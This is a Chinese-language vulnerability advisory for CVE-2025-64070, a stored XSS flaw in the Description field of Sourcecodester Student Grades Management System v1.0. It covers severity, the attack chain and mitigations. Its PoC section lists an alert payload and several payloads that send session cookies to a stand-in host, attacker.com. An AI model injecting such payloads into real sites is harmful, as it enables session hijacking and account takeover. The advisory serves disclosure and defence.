IPBUF安全漏洞报告
English
CVE-2025-64070 CVSS 5.4 中危

CVE-2025-64070: Sourcecodester学生成绩管理系统Add New Subject Description字段XSS漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-64070
漏洞类型
XSS跨站脚本攻击
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Sourcecodester Student Grades Management System v1.0

相关标签

CVE-2025-64070XSS跨站脚本攻击存储型XSSSourcecodesterStudent Grades Management SystemWeb应用漏洞输入验证缺失

漏洞概述

CVE-2025-64070是Sourcecodester学生成绩管理系统v1.0版本中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于系统添加新科目(Add New Subject)功能中的描述字段(Description field)。攻击者可以通过在该字段中注入恶意的JavaScript脚本代码,当其他用户访问或查看该科目信息时,恶意代码会在其浏览器上下文中执行,从而窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或修改页面显示内容。由于该系统通常用于教育机构管理学生成绩数据,漏洞可能导致学生个人信息泄露、成绩数据篡改等严重后果。CVSS评分5.4分,等级为中危,攻击向量为网络,认证要求低权限但需要用户交互,机密性和完整性影响均为低。

技术细节

该漏洞是典型的存储型XSS(Stored XSS)漏洞,攻击原理如下:1)攻击者登录系统后,在添加新科目功能中找到Description字段;2)攻击者在该字段中输入恶意JavaScript代码,如<script>alert(document.cookie)</script>;3)系统未对用户输入进行充分的输入验证和输出编码,直接将数据存储到数据库中;4)当管理员或教师查看科目列表或详情页面时,存储的恶意脚本被浏览器解析执行;5)攻击者可利用此漏洞窃取受害者的会话令牌,进而冒充受害者进行操作。漏洞根源在于系统在后端未实施输入验证(Input Validation)和输出编码(Output Encoding),前端也未对用户输入进行安全过滤。修复方案包括:对所有用户输入实施严格的输入验证,使用HTML实体编码转义特殊字符,实施内容安全策略(CSP),以及对高风险字段使用WAF防护。

攻击链分析

STEP 1
步骤1
攻击者访问目标系统登录页面,使用低权限账户登录系统
STEP 2
步骤2
攻击者导航到Add New Subject功能模块
STEP 3
步骤3
在Description字段中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
提交表单,系统未进行输入验证直接将恶意代码存储到数据库
STEP 5
步骤5
受害者(如管理员或教师)访问科目列表或详情页面
STEP 6
步骤6
浏览器解析页面时执行存储的恶意脚本,攻击者窃取会话cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-64070 PoC - Stored XSS in Add New Subject Description --> <!-- Login to Sourcecodester Student Grades Management System v1.0 --> <!-- Navigate to Add New Subject functionality --> <!-- Enter the following payload in the Description field: --> <script>alert('XSS Vulnerability - CVE-2025-64070')</script> <!-- Alternative payloads: --> <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <svg/onload=fetch('https://attacker.com/exfil?data='+btoa(document.cookie))> <!-- After submission, any user viewing the subject will trigger the XSS -->

影响范围

Sourcecodester Student Grades Management System v1.0

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时缓解措施:1)对Description等高风险输入字段实施前端输入过滤,移除script标签和事件处理器属性;2)后端部署输入验证逻辑,拒绝异常格式的输入;3)启用浏览器的XSS过滤器功能;4)限制低权限用户添加新科目的功能权限;5)加强会话管理,实施定期会话过期和强制重新认证;6)监控日志中的异常请求模式,及时发现攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表